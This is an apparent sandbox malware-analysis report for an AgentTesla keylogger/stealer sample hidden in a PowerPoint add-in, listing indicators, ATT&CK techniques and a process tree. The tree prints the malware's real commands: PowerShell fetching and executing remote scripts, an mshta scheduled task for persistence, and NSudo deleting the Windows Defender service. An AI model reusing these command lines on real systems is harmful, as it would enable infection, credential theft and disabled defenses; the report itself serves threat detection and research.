agenttesla | ac42d77d458fc7947f1d80ae7032c5922713f24cc708488d9a39291af1403235

Analysis

max time kernel
245s
max time network
253s
platform
windows10_x64
resource
win10-en-20211014
submitted
02-12-2021 08:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IRQ2107797.ppam
Size

31KB
MD5

2936bf1e690b55f6a47ef697378ba926
SHA1

95853ff912a9c3a25e6fe0836b62e77082c592db
SHA256

ac42d77d458fc7947f1d80ae7032c5922713f24cc708488d9a39291af1403235
SHA512

c861b4e35739a332bb102dce4148aed98a8fb0d06803b6265182f852fca03fc5ade4b3b44e8ed3ae8e496c20bdacb1649c1d201ab8f783c45b75e1e6451e2aa3

Score

10^/10

agenttesla collection evasion keylogger spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 38 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3352	3028	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1948	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	888	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	792	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3068	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2432	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4160	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4472	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4872	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4016	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4732	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4548	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4544	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4388	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5096	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5304	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5484	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5752	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5156	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5944	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5572	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5188	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5748	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5220	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5860	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3012	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4500	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3068	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3992	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5072	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4216	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4684	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5000	1184	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1484	1184	powershell.exe

AgentTesla Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2636-317-0x000000000043754E-mapping.dmp	family_agenttesla
behavioral2/memory/3328-320-0x000000000043754E-mapping.dmp	family_agenttesla
behavioral2/memory/3268-325-0x000000000043754E-mapping.dmp	family_agenttesla
behavioral2/memory/2316-330-0x000000000043754E-mapping.dmp	family_agenttesla
behavioral2/memory/1128-333-0x000000000043754E-mapping.dmp	family_agenttesla

Blocklisted process makes network request 11 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
29	3352	mshta.exe
30	3352	mshta.exe
32	3352	mshta.exe
34	3352	mshta.exe
36	3352	mshta.exe
38	3352	mshta.exe
40	3352	mshta.exe
50	1028	powershell.exe
56	1028	powershell.exe
57	1028	powershell.exe
59	1028	powershell.exe

Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe
Executes dropped EXE 8 IoCs

Processes:

NSudo.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exe

pid process

1800 NSudo.exe
2816 NSudo.exe
3396 NSudo.exe
2764 NSudo.exe
2584 NSudo.exe
2604 NSudo.exe
3200 NSudo.exe
4052 NSudo.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

pid	process
1800	NSudo.exe
2816	NSudo.exe
3396	NSudo.exe
2764	NSudo.exe
2584	NSudo.exe
2604	NSudo.exe
3200	NSudo.exe
4052	NSudo.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\system32\delete powershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\delete	powershell.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 1028 set thread context of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 set thread context of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 set thread context of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 set thread context of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 set thread context of 1128	1028	powershell.exe	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

720 schtasks.exe

pid	process
720	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3948 taskkill.exe

pid	process
3948	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3028 POWERPNT.EXE

pid	process
3028	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exe

pid	process
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
2636	aspnet_compiler.exe
3328	aspnet_compiler.exe
2316	aspnet_compiler.exe
3268	aspnet_compiler.exe
1128	aspnet_compiler.exe
2316	aspnet_compiler.exe
3268	aspnet_compiler.exe
2636	aspnet_compiler.exe
1128	aspnet_compiler.exe
3328	aspnet_compiler.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeaspnet_compiler.exeNSudo.exeNSudo.exeNSudo.exetaskkill.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exeNSudo.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	2316	aspnet_compiler.exe
Token: SeDebugPrivilege	2636	aspnet_compiler.exe
Token: SeDebugPrivilege	3328	aspnet_compiler.exe
Token: SeDebugPrivilege	3268	aspnet_compiler.exe
Token: SeDebugPrivilege	1128	aspnet_compiler.exe
Token: 18446744065119617044	1800	NSudo.exe
Token: 18446744065119617044	2816	NSudo.exe
Token: 18446744065119617044	3396	NSudo.exe
Token: SeDebugPrivilege	3948	taskkill.exe
Token: 18446744065119617044	2764	NSudo.exe
Token: 18446744065119617044	2584	NSudo.exe
Token: 18446744065119617044	2604	NSudo.exe
Token: 18446744065119617044	3200	NSudo.exe
Token: 18446744065119617044	4052	NSudo.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeIncreaseQuotaPrivilege	792	powershell.exe
Token: SeSecurityPrivilege	792	powershell.exe
Token: SeTakeOwnershipPrivilege	792	powershell.exe
Token: SeLoadDriverPrivilege	792	powershell.exe
Token: SeSystemProfilePrivilege	792	powershell.exe
Token: SeSystemtimePrivilege	792	powershell.exe
Token: SeProfSingleProcessPrivilege	792	powershell.exe
Token: SeIncBasePriorityPrivilege	792	powershell.exe
Token: SeCreatePagefilePrivilege	792	powershell.exe
Token: SeBackupPrivilege	792	powershell.exe
Token: SeRestorePrivilege	792	powershell.exe
Token: SeShutdownPrivilege	792	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeSystemEnvironmentPrivilege	792	powershell.exe
Token: SeRemoteShutdownPrivilege	792	powershell.exe
Token: SeUndockPrivilege	792	powershell.exe
Token: SeManageVolumePrivilege	792	powershell.exe
Token: 33	792	powershell.exe
Token: 34	792	powershell.exe
Token: 35	792	powershell.exe
Token: 36	792	powershell.exe
Token: SeIncreaseQuotaPrivilege	888	powershell.exe
Token: SeSecurityPrivilege	888	powershell.exe
Token: SeTakeOwnershipPrivilege	888	powershell.exe
Token: SeLoadDriverPrivilege	888	powershell.exe
Token: SeSystemProfilePrivilege	888	powershell.exe
Token: SeSystemtimePrivilege	888	powershell.exe
Token: SeProfSingleProcessPrivilege	888	powershell.exe
Token: SeIncBasePriorityPrivilege	888	powershell.exe
Token: SeCreatePagefilePrivilege	888	powershell.exe
Token: SeBackupPrivilege	888	powershell.exe
Token: SeRestorePrivilege	888	powershell.exe
Token: SeShutdownPrivilege	888	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeSystemEnvironmentPrivilege	888	powershell.exe
Token: SeRemoteShutdownPrivilege	888	powershell.exe
Token: SeUndockPrivilege	888	powershell.exe
Token: SeManageVolumePrivilege	888	powershell.exe
Token: 33	888	powershell.exe
Token: 34	888	powershell.exe
Token: 35	888	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

3028 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

POWERPNT.EXEpowershell.exeaspnet_compiler.exe

pid process

3028 POWERPNT.EXE
3028 POWERPNT.EXE
3028 POWERPNT.EXE
1028 powershell.exe
1028 powershell.exe
3268 aspnet_compiler.exe

pid	process
3028	POWERPNT.EXE

pid	process
3028	POWERPNT.EXE
3028	POWERPNT.EXE
3028	POWERPNT.EXE
1028	powershell.exe
1028	powershell.exe
3268	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.execsc.exewscript.exewscript.exe

description	pid	process	target process
PID 3028 wrote to memory of 3352	3028	POWERPNT.EXE	mshta.exe
PID 3028 wrote to memory of 3352	3028	POWERPNT.EXE	mshta.exe
PID 3352 wrote to memory of 1028	3352	mshta.exe	powershell.exe
PID 3352 wrote to memory of 1028	3352	mshta.exe	powershell.exe
PID 3352 wrote to memory of 720	3352	mshta.exe	schtasks.exe
PID 3352 wrote to memory of 720	3352	mshta.exe	schtasks.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2636	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3328	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 392	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 392	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 392	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3268	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2072	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2072	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2072	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 2316	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 1128	1028	powershell.exe	aspnet_compiler.exe
PID 1028 wrote to memory of 3672	1028	powershell.exe	cmstp.exe
PID 1028 wrote to memory of 3672	1028	powershell.exe	cmstp.exe
PID 1028 wrote to memory of 3048	1028	powershell.exe	csc.exe
PID 1028 wrote to memory of 3048	1028	powershell.exe	csc.exe
PID 3048 wrote to memory of 1464	3048	csc.exe	cvtres.exe
PID 3048 wrote to memory of 1464	3048	csc.exe	cvtres.exe
PID 4092 wrote to memory of 2956	4092	wscript.exe	wscript.exe
PID 4092 wrote to memory of 2956	4092	wscript.exe	wscript.exe
PID 2956 wrote to memory of 1800	2956	wscript.exe	NSudo.exe
PID 2956 wrote to memory of 1800	2956	wscript.exe	NSudo.exe
PID 2956 wrote to memory of 2816	2956	wscript.exe	NSudo.exe
PID 2956 wrote to memory of 2816	2956	wscript.exe	NSudo.exe

outlook_office_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

outlook_win_path 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\IRQ2107797.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3028

C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe https://[email protected]/ODOASODOreplajhdsjdhshere
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_a0708684e6ad4147ba79f0f0177725ac.txt?dn=rendomtext') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_92ec48660f134f3bb502662383ca4ffb.txt?dn=rendomtext') -useB);
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1028

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3328

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
PID:392

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:3268

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
PID:2072

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128

\??\c:\windows\system32\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\CMSTP.inf
4⤵
PID:3672

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgzyy1or\dgzyy1or.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:3048

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EA9.tmp" "c:\Users\Admin\AppData\Local\Temp\dgzyy1or\CSCEA6F0FA17085446CAF87DD0D4CBBBB2.TMP"
5⤵
PID:1464

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kwdwdwfdfabvco"" /F /tr ""\""MsHtA""\""https://[email protected]/p/2.html\""
3⤵
- Creates scheduled task(s)
PID:720

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\heheheheh.vbs
1⤵
- Suspicious use of WriteProcessMemory
PID:4092

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" "C:\Users\Public\heheheheh.vbs" /elevate
2⤵
- Suspicious use of WriteProcessMemory
PID:2956

C:\Users\Public\NSudo.exe
"C:\Users\Public\NSudo.exe" -U:T -ShowWindowMode:Hide sc delete windefend
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1800

